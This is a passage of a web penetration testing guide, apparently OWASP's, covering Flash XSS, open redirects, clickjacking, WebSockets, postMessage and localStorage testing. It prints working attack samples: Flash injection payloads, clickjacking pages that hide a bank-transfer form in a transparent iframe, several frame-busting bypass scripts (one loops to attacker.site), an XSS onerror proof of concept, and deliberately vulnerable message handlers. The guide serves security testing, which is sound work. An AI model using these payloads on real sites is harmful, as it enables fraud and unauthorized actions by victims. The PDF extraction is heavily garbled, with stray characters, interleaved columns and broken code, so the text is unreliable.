Some attack examples with A Tag:
#dd

dz0
<a href=asfunction:_root.obj.function, arg>

IMG tag could be used as well:
<img src=http://evil/evil.swf >
<img src=javascript:evilcode//.swf > (.swf is necessary to
bypass flash player internal filter)
Note: since release Flash Player 9.0.124.0 of Flash player XSS is
no longer exploitable, but GUI modification could still be accomplished.
Cross-Site Flashing
Cross-Site Flashing (XSF) is a vulnerability which has a similar
impact as XSS.
XSF Occurs when from different domains:
One Movie loads another Movie with loadMovie* functions or
other hacks and has access to the same sandbox or part of it
XSF could also occurs when an HTML page uses JavaScript to
command an Adobe Flash movie, for example, by calling:
1y
JavaScript as a string.
dy
value from JavaScript.
Unexpected Browser to SWF communication could result in
stealing data from the SWF application.
It could be performed by forcing a flawed SWF to load an external evil flash file. This attack could result in XSS or in the mod-

ification of the GUI in order to fool a user to insert credentials


on a fake flash form. XSF could be used in the presence of Flash
HTML Injection or external SWF files when loadMovie* methods
are used.
Open redirectors
SWFs have the capability to navigate the browser. If the SWF
takes the destination in as a FlashVar, then the SWF may be used
as an open redirector. An open redirector is any piece of website
functionality on a trusted website that an attacker can use to redirect the end-user to a malicious website. These are frequently
used within phishing attacks. Similar to cross-site scripting, the
attack involves a user clicking on a malicious link.
In the Flash case, the malicious URL might look like:
http://trusted.example.org/trusted.swf?getURLValue=http://
www.evil-spoofing-website.org/phishEndUsers.html
In the above example, an end-user might see the URL begins
with their favorite trusted website and click on it. The link would
load the trusted SWF which takes the getURLValue and provides
it to an ActionScript browser navigation call:
getURL(_root.getURLValue,_self);
This would navigate the browser to the malicious URL provided
by the attacker. At this point, the phisher has successfully leveraged the trusted the user has in trusted.example.org to trick
the user into their malicious website. From their, they could
launch a 0-day, conduct spoofing of the original website, or any
other type of attack. SWFs may unintentionally be acting as an
open-redirector on the website.
Developers should avoid taking full URLs as FlashVars. If they
only plan to navigate within their own website, then they should
use relative URLs or verify that the URL begins with a trusted
domain and protocol.
Attacks and Flash Player Version
Since May 2007, three new versions of Flash player were released by Adobe. Every new version restricts some of the attacks previously described.
Attack

asfunction

ExternalInterface

GetURL

Html Injection

v9.0 r47/48

Yes

v9.0 r115

No

Yes

Yes

Yes

Yes

Yes

Yes

v9.0 r124

No

Yes

Yes

Partially

Player Version

Result Expected:
Cross-Site Scripting and Cross-Site Flashing are the expected
results on a flawed SWF file.

Tools

Adobe SWF Investigator: http://labs.adobe.com/technologies


swfinvestigator/
SWFScan: http://h30499.www3.hp.com/t5/Following

200

Web Application Penetration Testing

the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/bap/5440167
SWFIntruder: https://www.owasp.org/index.php
Category:SWFIntruder
Decompiler Flare: http://www.nowrap.de/flare.html
Compiler MTASC: http://www.mtasc.org/
Disassembler Flasm: http://flasm.sourceforge.net/
Swfmill Convert Swf to XML and vice versa: http://swfmill
org/

and Javascript to force the victim to perform undesired actions,


such as clicking on a button that appears to perform another operation. This is a client side security issue that affects a variety
of browsers and platforms.
To carry out this type of technique the attacker has to create a
seemingly harmless web page that loads the target application
through the use of an iframe (suitably concealed through the use
of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like
for example social engineering). Like others attacks, an usual
prerequisite is that the victim is authenticated against the attackers target website.

Debugger Version of Flash Plugin/Player: http://www.adobe


com/support/flash/downloads.html
References
OWASP
OWASP Flash Security Project: The OWASP Flash Security
project has even more references than what is listed below:
http://www.owasp.org/index.php/Category:OWASP_Flash_
Security_Project
Whitepapers
Testing Flash Applications: A new attack vector for XSS
and XSFlashing: http://www.owasp.org/images/8/8c/
OWASPAppSec2007Milan_TestingFlashApplications.ppt
Finding Vulnerabilities in Flash Applications: http://www
owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_
FindingVulnsinFlashApps.ppt
Adobe security updates with Flash Player 9,0,124,0 to reduce
cross-site attacks: http://www.adobe.com/devnet/
flashplayer/articles/flash_player9_security_update.html

Once the victim is surfing on the fictitious web page, he thinks


that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users
into performing actions which they never intended to perform
through an ad hoc positioning of the elements in the web page.

Securing SWF Applications: http://www.adobe.com/devnet


flashplayer/articles/secure_swf_apps.html
The Flash Player Development Center Security Section: http:/
www.adobe.com/devnet/flashplayer/security.html
The Flash Player 10.0 Security Whitepaper: http://www
adobe.com/devnet/flashplayer/articles/flash_player10_
security_wp.html

Testing for Clickjacking (OTG-CLIENT-009)

Summary
Clickjacking (which is a subset of the UI redressing) is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different
to what the user believes they are interacting with. This type of
attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal
confidential information while the victim is interacting on seemingly harmless web pages. The term Clickjacking was coined by
Jeremiah Grossman and Robert Hansen in 2008.
A Clickjacking attack uses seemingly innocuous features of HTML

The power of this method is due to the fact that the actions
performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the
anti-CSRF protections, that are deployed by the developers to
protect the web page from CSRF attacks, could be bypassed.
How to Test
As mentioned above, this type of attack is often designed to allow an attacker site to induce users actions on the target site
even if anti-CSRF tokens are being used. So its important, like
for the CSRF attack, to individuate web pages of the target site

201

Web Application Penetration Testing

that it take input from the user.


We have to discover if the website that we are testing has no
protections against clickjacking attacks or, if the developers have
implemented some forms of protection, if these techniques are
liable to bypass. Once we know that the website is vulnerable,
we can create a proof of concept to exploit the vulnerability.
The first step to discover if a website is vulnerable, is to check
if the target web page could be loaded into an iframe. To do this
you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:
<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe src=http://www.target.site width=500
height=500></iframe>
</body>
</html>
Result Expected: If you can see both the text Website is vulnerable to clickjacking! at the top of the page and your target web
page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks.
Now you can directly create a proof of concept to demonstrate
that an attacker could exploit this vulnerability.
Bypass Clickjacking protection:
In case in which you only see the target site or the text Website
is vulnerable to clickjacking! but nothing in the iframe this mean
that the target probably has some form of protection against
clickjacking. Its important to note that this isnt a guarantee that
the page is totally immune to clickjacking.
Methods to protect a web page from clickjacking can be divided
in two macro-categories:
0
d0R
In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection
from these attacks and techniques to bypass them.
Client side protection: Frame Busting
The most common client side method, that has been developed
to protect a web page from clickjacking, is called Frame Busting
and it consists of a script in each page that should not be framed.
The aim of this technique is to prevent a site from functioning
when it is loaded inside a frame.
The structure of frame busting code typically consists of a conditional statement and a counter-action statement. For this
type of protection, there are some work arounds that fall under

the name of Bust frame busting. Some of this techniques are


browser-specific while others work across browsers.
Mobile website version
Mobile versions of the website are usually smaller and faster
than the desktop ones, and they have to be less complex than
the main application. Mobile variants have often less protection
since there is the wrong assumption that an attacker could not
attack an application by the smart phone. This is fundamentally
wrong, because an attacker can fake the real origin given by a
web browser, such that a non-mobile victim may be able to visit
an application made for mobile users. From this assumption follows that in some cases it is not necessary to use techniques to
evade frame busting when there are unprotected alternatives,
which allow the use of same attack vectors.
Double Framing
Some frame busting techniques try to break frame by assigning
a value to the parent.location attribute in the counter-action
statement.
Such actions are, for example:



This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page
in one frame which is nested in another one (a double frame),
then trying to access to parent.location becomes a security
violation in all popular browsers, due to the descendant frame
navigation policy. This security violation disables the counter-action navigation.
Target site frame busting code (target site):
if(top.location!=self.locaton) {
parent.location = self.location;
}
Attackers top frame (fictitious2.html):
<iframe src=fictitious.html>
Attackers fictitious sub-frame (fictitious.html):
<iframe src=http://target site>
Disabling javascript
Since these type of client side protections relies on JavaScript
frame busting code, if the victim has JavaScript disabled or it is
possible for an attacker to disable JavaScript code, the web page
will not have any protection mechanism against clickjacking.
There are three deactivation techniques that can be used with
frames:

202

Web Application Penetration Testing

`9&d
Internet Explorer 6, a frame can have the security attribute
that, if it is set to the value restricted, ensures that JavaScript
code, ActiveX controls, and re-directs to other sites do not
work in the frame.
Example:
<iframe src=http://target site security=restricted></
iframe>
d6jLG
sandbox. It enables a set of restrictions on content loaded
into the iframe. At this moment this attribute is only compatible
whit Chrome and Safari.
Example:
<iframe src=http://target site sandbox></iframe>
#^d
the designMode that can be turned on in the framing page (via
document.designMode), disabling JavaScript in top and subframe. The design mode is currently implemented in Firefox
and IE8.
onBeforeUnload event
The onBeforeUnload event could be used to evade frame busting
code. This event is called when the frame busting code wants to
destroy the iframe by loading the URL in the whole web page and
not only in the iframe. The handler function returns a string that
is prompted to the user asking confirm if he wants to leave the
page. When this string is displayed to the user is likely to cancel
the navigation, defeating tragets frame busting attempt.
The attacker can use this attack by registering an unload event
on the top page using the following example code:
<h1>www.fictitious.site</h1>
<script>
window.onbeforeunload = function()
{
return Do you want to leave fictitious.site?;
}
</script>
<iframe src=http://target site>

The previous technique requires the user interaction but, the


same result, can be achieved without prompting the user. To
do this the attacker have to automatically cancel the incoming
navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation
request to a web page that responds with a HTTP/1.1 204 No
Content header.
Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, ren-

dering the original frame busting attempt futile.


Following an example code:
204 page:
<?php
header(HTTP/1.1 204 No Content);
?>

Attackers page:
<script>

var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(
function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location =
http://attacker.site/204.php;
}
}, 1);
</script>
<iframe src=http://target site>
XSS Filter
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava
and Lindsay have observed that these kind of filters can be used to
deactivate frame busting code by faking it as malicious code.
9&dd this filter has visibility into all requests and
responses parameters flowing through the web browser and
it compares them to a set of regular expressions in order to look
for reflected XSS attempts. When the filter identifies a possible
XSS attacks; it disable all inline scripts within the page, including
frame busting scripts (the same thing could be done with external
scripts). For this reason an attacker could induces a false positive
by inserting the beginning of the frame busting script into a request
parameters.
Example: Target web page frame busting code:
if ( top != self )
{
top.location=self.location;
}
</script>

Attacker code:
<iframe src=http://target site/?param=<script>if>

203

Web Application Penetration Testing

dd It has a little different behaviour


compared to IE8 XSS filter, in fact with this filter an attacker could
deactivate a script by passing its code in a request parameter.
This enables the framing page to specifically target a single snippet
containing the frame busting code, leaving all the other codes
intact.
Example: Target web page frame busting code:
<script>
if ( top != self )
{
top.location=self.location;
}
</script>

Attacker code:
<iframe src=http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D>
Redefining location
For several browser the document.location variable is an immutable attribute. However, for some version of Internet Explorer
and Safari, it is possible to redefine this attribute. This fact can be
exploited to evade frame busting code.
`9&9&it is possible to redefine
location as it is illustrated in the following example. By defining
location as a variable, any code that tries to read or to navigate
by assigning top.location will fail due to a security violation and so
the frame busting code is suspended.
Example:
<script>
var location = xyz;
</script>
<iframe src=http://target site></iframe>
`d To bust frame busting code
with top.location it is possible to bind location to a function
via defineSetter (through window), so that an attempt to read or
navigate to the top.location will fail.

responses and is used to mark web pages that shouldnt be framed.


This header can take the values DENY, SAMEORIGIN, ALLOW-FROM
origin, or non-standard ALLOWALL. Recommended value is DENY.
The X-FRAME-OPTIONS is a very good solution, and was adopted
by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.
Browser compatibility
Since the X-FRAME-OPTIONS was introduced in 2009, this header
is not compatible with old browser. So every user that doesnt have
an updated browser could be victim of clickjacking attack.
Browser

Lowest version

Internet Explorer

8.0

Firefox (Gecko)

3.6.9 (1.9.2.9)

Opera

10.50

Safari

4.0

Chrome

4.1.249.1042

Proxies
Web proxies are known for adding and stripping headers. In the case
in which a web proxy strips the X-FRAME-OPTIONS header then
the site loses its framing protection.
Mobile website version
Also in this case, since the X-FRAME-OPTIONS has to be implemented in every page of the website, the developers may have not
protected the mobile version of the website.
Create a proof of concept
Once we have discovered that the site we are testing is vulnerable
to clickjacking attack, we can proceed with the development of a
proof of concept to demonstrate the vulnerability. It is important
to note that, as mentioned previously, these attacks can be used in
conjunction with other forms of attacks (for example CSRF attacks)
and could lead to overcome anti-CSRF tokens. In this regard we can
imagine that, for example, the target site allows to authenticated
and authorized users to make a transfer of money to another account.
Suppose that to execute the transfer the developers have planned
three steps. In the first step the user fill a form with the destination
account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).

Example:
<script>
window.defineSetter(location , function(){});
</script>
<iframe src=http://target site></iframe>
Server side protection: X-Frame-Options
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This
new X-FRAME-OPTIONS header is sent from the server on HTTP

Following a snippet of the code for the step 2:


//generate random anti CSRF token
$csrfToken = md5(uniqid(rand(), TRUE));

204

Web Application Penetration Testing

//set the token as in the session data


$_SESSION[antiCsrf] = $csrfToken;
//Transfer form with the hidden field
$form =
<form name=transferForm action=confirm.php
method=POST>
<div class=box>
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Do You want to confirm a transfer of <b>.
$_REQUEST[amount] . </b> to account: <b>. $_REQUEST[account] .</b> ?
</p>
<label>
<input type=hidden
name=amount value= . $_REQUEST[amount] . />
<input type=hidden
name=account value= . $_REQUEST[account] . />
<input type=hidden
name=antiCsrf value= . $csrfToken . />
<input type=submit
class=button value=Transfer Money />
</label>

</form>;

a random token generated in the second step and accepting only


variable passed via POST method. In this situation an attacker could
forge a CSRF + Clickjacking attack to evade anti-CSRF protection and
force a victim to do a money transfer without her consent.
The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in
the last step, thinking that this is secure enough, the attacker could
pass the account and amount parameters via GET method. (Note:
there is an advanced clickjacking attack that permits to force users
to fill a form, so also in the case in which is required to fill a form, the
attack is feasible).
The attackers page may look a simple and harmless web page like
the one presented below:

But playing with the CSS opacity value we can see what is hidden
under a seemingly innocuous web page.

</div>

In the last step are planned security controls and then, if is all ok, the
transfer is done. Following is presented a snippet of the code of the
last step (Note: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):
d&dd9RM^RdjtiCsrf])) )
{
//here we can suppose input sanitization code
//check the anti-CSRF token
if( ($_SESSION[antiCsrf] == $_POST[antiCsrf]) )
{
echo <p> . $_POST[amount] . successfully transfered to account: . $_POST[account] . </p>;
}
}
else
{
}

echo <p>Transfer KO</p>;

As you can see the code is protected from CSRF attack both with

The clickjacking code the create this page is presented below:


<html>

<head>

<title>Trusted web page</title>


<style type=text/css><!-*{
margin:0;
padding:0;
}
body {
background:#ffffff;
}
.button
{
padding:5px;
background:#6699CC;
left:275px;
width:120px;
border: 1px solid

205

Web Application Penetration Testing

}
#content {
width: 500px;
height: 500px;
margin-top: 150px ;
margin-left: 500px;
}
#clickjacking
{
position: absolute;
left: 172px;
top: 60px;
filter: alpha(opaci-

ty=0);

}
//--></style>
</head>
<body>

owasp.com>

opacity:0.0

Tools

Context Information Security: Clickjacking Tool - http://www


contextis.com/research/tools/clickjacking-tool/
References
OWASP Resources

Whitepapers
Marcus Niemietz: UI Redressing: Attacks and Countermeasures
Revisited - http://ui-redressing.mniemietz.de/uiRedressing.pdf
Clickjacking - https://en.wikipedia.org/wiki/Clickjacking
Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson:
Busting Frame Busting: a Study of Clickjacking Vulnerabilities on
Popular Sites - http://seclab.stanford.edu/websec/framebusting/
framebust.pdf
Paul Stone: Next generation clickjacking - https://media.blackhat
com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-StoneNext-Generation-Clickjacking-slides.pdf

Testing WebSockets (OTG-CLIENT-010)


<div id=content>
<h1>www.owasp.com</h1>
<form action=http://www.

class=button value=Click and go!>


</form>
</div>

<input type=submit

<iframe id=clickjacking src=http://localhost/


jjE&`
width=500 height=500 scrolling=no frameborder=none>
</iframe>
</body>
</html>
With the help of CSS (note the #clickjacking block) we can mask and
suitably position the iframe in such a way as to match the buttons.
If the victim click on the button Click and go! the form is submitted
and the transfer is completed.

Summary
Traditionally the HTTP protocol only allows one request/response
per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires
the client to initiate the requests and wait for the server responses
(half-duplex).
HTML5 WebSockets allow the client/server to create a full-duplex
(two-way) communication channels, allowing the client and server
to truly communicate asynchronously. WebSockets conduct their
initial upgrade handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames.
Origin
It is the servers responsibility to verify the Origin header in the initial
HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server
may accept connections from any origin. This could allow attackers
to communicate with the WebSocket server cross-domain allowing
for Top 10 2013-A8-Cross-Site Request Forgery (CSRF) type issues.
Confidentiality and Integrity
WebSockets can be used over unencrypted TCP or over encrypted
TLS. To use unencrypted WebSockets the ws:// URI scheme is used
(default port 80), to use encrypted (TLS) WebSockets the wss:// URI
scheme is used (default port 443). Look out for Top 10 2013-A6-Sensitive Data Exposure type issues.
Authentication
WebSockets do not handle authentication, instead normal application
authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for Top 10 2013-A2-Broken
Authentication and Session Management type issues.

The example presented uses only basic clickjacking technique, but


with advanced technique is possible to force user filling form with
values defined by the attacker.

Authorization
WebSockets do not handle authorization, normal application authorization mechanisms apply. Look out for Top 10 2013-A4-Insecure
Direct Object References and Top 10 2013-A7-Missing Function
Level Access Control type issues.

206

Web Application Penetration Testing

Input Sanitization
As with any data originating from untrusted sources, the data should
be properly sanitised and encoded. Look out for Top 10 2013-A1-Injection and Top 10 2013-A3-Cross-Site Scripting (XSS) type issues.
How to Test
Black Box testing
1. Identify that the application is using WebSockets.
9n`9
scheme.
n1#jM
WebSocket communication.
nRzd^^^zd

Example 2
Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the
WebSocket handshakes origin header. Attempt to replay requests
previously intercepted to verify that cross-domain WebSocket communication is possible.

2. Origin.
nzdj
below) attempt to connect to the remote WebSocket server. If a
connection is established the server may not be checking the origin
header of the WebSocket handshake.
3. Confidentiality and Integrity.
zdddG
sensitive information (wss://).
ddG9y
BEAST, CRIME, RC4, etc). Refer to the Testing for Weak SSL/
TLS Ciphers, Insufficient Transport Layer Protection (OTGCRYPST-001) section of this guide.
4. Authentication.
zd
authentication tests should be carried out. Refer to the
Authentication Testing sections of this guide.
5. Authorization.
zd
authorization tests should be carried out. Refer to the Authorization
Testing sections of this guide.
6. Input Sanitization.
nRzd^^^zd
and fuzz WebSocket request and responses. Refer to the Testing
for Data Validation sections of this guide.
Example 1
Once we have identified that the application is using WebSockets (as
described above) we can use the OWASP Zed Attack Proxy (ZAP) to
intercept the WebSocket request and responses. ZAP can then be
used to replay and fuzz the WebSocket request/responses.

Gray Box testing


Gray box testing is similar to black box testing. In gray box testing the
pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request
and responses.
Tools
OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index
php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding
vulnerabilities in web applications. It is designed to be used by people
with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
WebSocket Client - https://github.com/RandomStorm/scripts
blob/master/WebSockets.html
A WebSocket client that can be used to interact with a WebSocket
server.
Google Chrome Simple WebSocket Client - https://chrome
google.com/webstore/detail/simple-websocket-client /
pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en
Construct custom Web Socket requests and handle responses to directly test your Web Socket services.
References
Whitepapers
HTML5 Rocks - Introducing WebSockets: Bringing Sockets to
the Web: http://www.html5rocks.com/en/tutorials/websockets/
basics/
W3C - The WebSocket API: http://dev.w3.org/html5/websockets/
IETF - The WebSocket Protocol: https://tools.ietf.org/html
rfc6455

207

Web Application Penetration Testing

Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH):


http://www.christian-schneider.net/
CrossSiteWebSocketHijacking.html
Jussi-Pekka Erkkil - WebSocket Security Analysis: http://juerkkil
iki.fi/files/writings/websocket2012.pdf
Robert Koch- On WebSockets in Penetration Testing: http://www
ub.tuwien.ac.at/dipl/2013/AC07815487.pdf
DigiNinja - OWASP ZAP and Web Sockets: http://www.digininja
org/blog/zap_web_sockets.php

Test Web Messaging (OTG-CLIENT-011)

Summary
Web Messaging (also known as Cross Document Messaging) allows
applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows)
was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish
these tasks, most of them were mainly insecure.
This restriction within the browser is in place to restrict a malicious
website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites
need to exchange data between each other. To meet this need Cross
Document Messaging was introduced within he WHATWG HTML5
draft specification and implemented in all major browsers. It enables
secure communication between multiple origins across iframes,
tabs and windows.
The Messaging API introduced the postMessage() method, with
which plain-text messages can be sent cross-origin. It consists of
two parameters, message and domain.
There are some security concerns when using * as the domain that
we discuss below. Then, in order to receive messages the receiving
website needs to add a new event handler, and has the following attributes:
j
j

An example:
Send message:
iframe1.contentWindow.postMessage(Hello world,http://
www.example.com);
Receive message:
window.addEventListener(message, handler, true);
function handler(event) {
if(event.origin === chat.example.com) {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}

Origin Security Concept


The origin is made up of a scheme, host name and port and identifies
uniquely the domain sending or receiving the message, it does not
include the path or the fragment part of the url. For instance, https://
example.com/ will be considered different from http://example.com
because the schema in the first case is https and in the second http,
same applies to web servers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the
sending domain, we also want to make sure they are explicitly stating the receiving domain and not * as the second argument of postMessage() as this practice could introduce security concerns too,
and could lead to, in the case of a redirection or if the origin changes
by other means, the website sending data to unknown hosts, and
therefore, leaking confidential data to malicious servers.
In the case the website failed to add security controls to restrict the
domains or origins that can send messages to a website most likely
will introduce a security risk so it is very interesting part of the code
from a penetration testing point of view. We should scan the code
for message event listeners, and get the callback function from the
addEventListener method to further analysis as domains must be
always be verified prior data manipulation.
event.data Input Validation
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the
data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure
methods, in particular if data is being evaluated via
eval()
or inserted into the DOM via the
innerHTML
property as that would create a DOM-based XSS vulnerability.
How to Test
Black Box testing
Black box testing for vulnerabilities on Web Messaging is not usually
performed since access to the source code is always available as it
needs to be sent to the client to be executed.
Gray Box testing
Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular
we should be interested in how the website is restricting messages
from untrusted domain and how the data is handled even for trusted
domains. Below are some examples:
Vulnerable code example:
In this example, access is needed for every subdomain (www, chat,
forums, ...) within the owasp.org domain. The code is trying to accept
any domain ending on .owasp.org:

208

Web Application Penetration Testing

window.addEventListener(message, callback, true);


function callback(e) {
</b>if(e.origin.indexOf(.owasp.org)!=-1) {<b>
/* process message (e.data) */
}
}
The intention is to allow subdomains in this form:
www.owasp.org
chat.owasp.org
forums.owasp.org
...
Insecure code. An attacker can easily bypass the filter as www.
owasp.org.attacker.com will match.
Example of lack of origin check, very insecure as will accept input
from any domain:
window.addEventListener(message, callback, true);
function callback(e) {
/* process message (e.data) */
}
Input validation example: Lack of security controls lead to Cross-Site
Scripting (XSS)
window.addEventListener(message, callback, true);
function callback(e) {
if(e.origin === trusted.domain.com) {
element.innerHTML= e.data;
}
}

This code will lead to Cross-Site Scripting (XSS) vulnerabilities as


data is not being treated properly, a more secure approach would be
to use the property textContent instead of innetHTML.

Tools

OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index


php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding
vulnerabilities in web applications. It is designed to be used by people
with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
References
OWASP Resources

OWASP HTML5 Security Cheat Sheet: https://www.owasp.org


index.php/HTML5_Security_Cheat_Sheet
Whitepapers
Web Messaging Specification: http://www.whatwg.org/specs
web-apps/current-work/multipage/web-messaging.html

Test Local Storage (OTG-CLIENT-012)

Summary
Local Storage also known as Web Storage or Offline Storage is a
mechanism to store data as key/value pairs tied to a domain and
enforced by the same origin policy (SOP). There are two objects,
localStorage that is persistent and is intended to survive browser/
system reboots and sessionStorage that is temporary and will only
exists until the window or tab is closed.
On average browsers allow to store in this storage around 5MB per
domain, that compared to the 4KB of cookies is a big difference, but
the key difference from the security perspective is that the data
stored in these two objects is kept in the client and never sent to the
server, this also improves network performance as data do not need
to travel over the wire back and forth.
localStorage
Access to the storage is normally done using the setItem
and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able
to extract all the data from the storage. Also malicious data
can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.
Check if there are more than one application in the same domain like
example.foo/app1 and example.foo/app2 because those will share
the same storage.
Data stored in this object will persist after the window is closed, it is
a bad idea to store sensitive data or session identifiers on this object
as these can be accesed via JavaScript. Session IDs stored in cookies
can mitigate this risk using the httpOnly flag.
sessionStorage
Main difference with localStorage is that the data stored in this object
is only accessible until the tab/window is closed which is a perfect
candidate for data that doesnt need to persist between sessions. It
shares most of the properties and the getItem/setItem methods, so
manual testing needs to be undertaken to look for these methods
and identify in which parts of the code the storage is accessed.
How to Test
Black Box testing
Black box testing for issues within the Local Storage code is not usually performed since access to the source code is always available as
it needs to be sent to the client to be executed.
Gray Box testing
First of all, we need to check whether the Local Storage is used.
Example 1: Access to localStorage:
Access to every element in localStorage with JavaScript:
for(var i=0; i<localStorage.length; i++) {
console.log(localStorage.key(i), = , localStorage.getItem(localStorage.key(i)));
}

209

same code can be applied to sessionStorage

http://server/StoragePOC.html#<img src=x onerror=alert(1)>

Using Google Chrome, click on menu -> Tools -> Developer Tools.
Then under Resources you will see Local Storage and Web Storage.

Using Firefox with the Firebug add on you can easily inspect the localStorage/sessionStorage object in the DOM tab.

Also, we can inspect these objects from the developer tools of our
browser.
Next manual testing needs to be conducted in order to determine
whether the website is storing sensitive data in the storage that
represents a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the
code does not escape the input or output. The JavaScript code has
to be analyzed to evaluate these issues, so make sure you crawl the
application to discover every instance of JavaScript code and note
sometimes applications use third-party libraries that would need to
be examined too.
Here is an example of how improper use of user input and lack of
validation can lead to XSS attacks.
Example 2: XSS in localStorage:
Insecure assignment from localStorage can lead to XSS
function action(){
var resource = location.hash.substring(1);
localStorage.setItem(item,resource);
item = localStorage.getItem(item);
document.getElementById(div1).innerHTML=item;
}
</script>
<body onload=action()>
<div id=div1></div>
</body>
URL PoC:

Tools

Firebug - http://getfirebug.com/
Google Chrome Developer Tools - https://developers.google.com
chrome-developer-tools/
OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index
php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding
vulnerabilities in web applications. It is designed to be used by people
with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
References
OWASP Resources
 OWASP HTML5 Security Cheat Sheet: https://www.owasp.org
index.php/HTML5_Security_Cheat_Sheet
Whitepapers
Web Storage Specification: http://www.w3.org/TR/webstorage/

210

Reporting
Performing the technical side of the assessment is only half
of the overall assessment process. The final product is the
production of a well written and informative report. A report
should be easy to understand and should highlight all the
risks found during the assessment phase.

Performing the technical side of the assessment is only half of the


overall assessment process. The final product is the production
of a well written and informative report. A report should be easy
to understand and should highlight all the risks found during the
assessment phase. The report should appeal to both executive
management and technical staff.
The report needs to have three major sections. It should be created in a manner that allows each separate section to be printed and
given to the appropriate teams, such as the developers or system
managers. The recommended sections are outlined below.
1. Executive Summary
The executive summary sums up the overall findings of the assessment and gives business managers and system owners a
high level view of the vulnerabilities discovered. The language
used should be more suited to people who are not technically
aware and should include graphs or other charts which show the
risk level. Keep in mind that executives will likely only have time to
read this summary and will want two questions answered in plain
